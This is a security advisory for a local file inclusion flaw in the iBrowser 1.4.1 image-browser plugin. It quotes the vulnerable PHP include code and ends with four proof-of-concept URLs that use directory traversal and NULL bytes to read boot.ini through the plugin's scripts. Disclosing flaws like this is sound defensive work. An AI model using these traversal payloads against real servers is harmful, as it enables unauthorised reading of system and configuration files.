iBrowser Plugin 1.4.1 – ‘lang’ Local File Inclusion
iBrowser Plugin v1.4.1 (lang) Local File Inclusion Vulnerability Vendor: net4visions.com Product web page: http://www.net4visions.com Affected version: <= 1.4.1 Build 10182009 Summary: iBrowser is an image browser plugin for WYSIWYG editors like tinyMCE, SPAW, htmlAREA, Xinha and FCKeditor developed by net4visions. It allows image browsing, resizing on upload, directory management and more with the integration of the phpThumb image library. Desc: iBrowser suffers from a file inlcusion vulnerability (LFI) / file disclosure vulnerability (FD) when input passed thru the 'lang' parameter to ibrowser.php, loadmsg.php, rfiles.php and symbols.php is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes. ====================================================================== /langs/lang.class.php: ---------------------------------------------------------------------- 67: function loadData() { 68: global $cfg; 69: include( dirname(__FILE__) . '/' . $this -> lang.'.php' ); 70: $this -> charset = $lang_charset; 71: $this -> dir = $lang_direction; 72: $this -> lang_data = $lang_data; 73: unset( $lang_data ); 74: include( dirname(__FILE__) . '/' . $cfg['lang'].'.php' ); 75: $this -> default_lang_data = $lang_data; 76: } ====================================================================== Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Advisory ID: ZSL-2011-5041 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5041.php 15.09.2011 -- http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/ibrowser.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00 http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/loadmsg.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00 http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00 http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/symbols.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00 |